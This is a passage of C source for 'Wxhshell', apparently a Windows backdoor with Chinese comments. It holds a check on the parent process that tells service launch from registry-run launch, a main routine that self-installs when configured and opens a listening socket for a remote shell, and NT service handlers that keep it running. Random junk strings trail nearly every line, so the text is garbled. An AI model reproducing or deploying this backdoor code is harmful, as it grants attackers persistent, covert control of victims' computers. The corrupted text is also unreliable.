ULONG UniqueProcessId; O?C-nw6kP
ULONG InheritedFromUniqueProcessId; <FUqD0sQ
} PROCESS_BASIC_INFORMATION; a@5xz)
877EKvsiC
PROCNTQSIP NtQueryInformationProcess; q
G :jnl
j=xtnIq
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @\%)'WU
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3PvZ_!G
P`Hd*xh".j
HANDLE hProcess; _V_8p)%
PROCESS_BASIC_INFORMATION pbi; a'_MhJ zs
\p>]G[g
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Y^c,mK^
if(NULL == hInst ) return 0; s0XRL1kWr
.T#y N\S1
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #q~3c;ec
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); *! r\GGb
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); :Fi%Cef|
IS0HV$OI
if (!NtQueryInformationProcess) return 0; h30QCk
zJG x5JC
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .WL\:{G8;
if(!hProcess) return 0; =BqaGXr
5I8FD".i
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [x$eF~Kp
-CU7u=*b
CloseHandle(hProcess); A]tf>H#1
eZR8<Z%
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9Th32}H
if(hProcess==NULL) return 0; e\d5SKY
[5RFQ!
HMODULE hMod; we:5gK&
char procName[255]; ? !oVf>
unsigned long cbNeeded; /+<%,c$n
8}"f|6Wm
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); fncwe ';?
FfD
,cDs
CloseHandle(hProcess); ,IT)zCpaBP
9?g]qy,1)
if(strstr(procName,"services")) return 1; // 以服务启动 r7Q:l ?F2
-_{C+Y_
return 0; // 注册表启动 l$p_])x
} (Qx-KRH
a!0?L0_W&
// 主模块 7/D9n9F
int StartWxhshell(LPSTR lpCmdLine) siss_1J
{ I7q?V1fu4
SOCKET wsl; k[r./xEv+t
BOOL val=TRUE; !dbA (
int port=0; ^EuyvftZ
struct sockaddr_in door; os(Jr!p_=
w}U5dM`
if(wscfg.ws_autoins) Install(); (AM,4)lW,
.kB3jfw0,
port=atoi(lpCmdLine); +9Hk+.
=|6^)lt$
if(port<=0) port=wscfg.ws_port; TN |{P
FQ9csUjpB
WSADATA data; NqQ(X'W7
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Hz3 S^o7
$@u^Jt, ?
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; PFDWC3<
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); t5X^(@q4N
door.sin_family = AF_INET; A=qW]Im
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 3'sWlhf;
door.sin_port = htons(port); Ghq'k:K,
2=Y_Qrhi
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1(:=jOfk
closesocket(wsl); rd"]@~v1
return 1; F;MT4*4
} <_sT]?N#
cP#]n)<
if(listen(wsl,2) == INVALID_SOCKET) { 8Snq75Q<
closesocket(wsl); ;GSFQ:m[
return 1; #a'x)$2;R|
} [#Nx>RY
Wxhshell(wsl); n7, 6a
WSACleanup(); ~U7\ LBF
QzFv ;
return 0; jC/JiI
m|ERf 2-
} soqNzdTB2
Y8`))MeD
// 以NT服务方式启动 vq0M[Vy
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @rK>yPhf
{ C>\!'^u1
DWORD status = 0; QnP?;
DWORD specificError = 0xfffffff; Z;~E+dXC
B'gk/^6$eg
serviceStatus.dwServiceType = SERVICE_WIN32; $MJDB
serviceStatus.dwCurrentState = SERVICE_START_PENDING; [^(R1K
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >e$^#\D
serviceStatus.dwWin32ExitCode = 0; h4B#T'b
serviceStatus.dwServiceSpecificExitCode = 0; TNFm7}=
serviceStatus.dwCheckPoint = 0; L$u&~"z-
serviceStatus.dwWaitHint = 0; qT<qu(V:
[>J~M!yu:r
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {ZsWZJ!
if (hServiceStatusHandle==0) return; 0p>:rU~
6B;_uIq5
status = GetLastError(); FvI0 J
if (status!=NO_ERROR) dVmAMQk.g
{ <1g 1hqK3
serviceStatus.dwCurrentState = SERVICE_STOPPED; 4|Gs(^nU
serviceStatus.dwCheckPoint = 0; | 7'yk__m
serviceStatus.dwWaitHint = 0; ]g-qWSKU
serviceStatus.dwWin32ExitCode = status; J|2Hqd
serviceStatus.dwServiceSpecificExitCode = specificError; U*R~w5W.[
SetServiceStatus(hServiceStatusHandle, &serviceStatus); +} ! F(c
return; z7Rcnr;
} ,?~UpsUx
Znl>*e/|
serviceStatus.dwCurrentState = SERVICE_RUNNING; q=0{E0@9({
serviceStatus.dwCheckPoint = 0; #L4Kwy
serviceStatus.dwWaitHint = 0; SiuO99'nV
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); i8[Y{a*
} -Ib+ /'
+SA<0l
// 处理NT服务事件,比如:启动、停止 w6In{uO-Z
VOID WINAPI NTServiceHandler(DWORD fdwControl) nhXp_Z9
{ `1d`9AS2g
switch(fdwControl) /qhm9~4e3
{ .Qi1I
case SERVICE_CONTROL_STOP: W$MEbf%1
serviceStatus.dwWin32ExitCode = 0; =|5bhwU]
serviceStatus.dwCurrentState = SERVICE_STOPPED; C(|T/rQ-
serviceStatus.dwCheckPoint = 0; komxot[[
serviceStatus.dwWaitHint = 0; 6$vh qg}f
{ D)~nAkVq
SetServiceStatus(hServiceStatusHandle, &serviceStatus); gl7vM
} "1`i]Y\'
return; M Xt +
case SERVICE_CONTROL_PAUSE: ]S2[eS
serviceStatus.dwCurrentState = SERVICE_PAUSED; gS<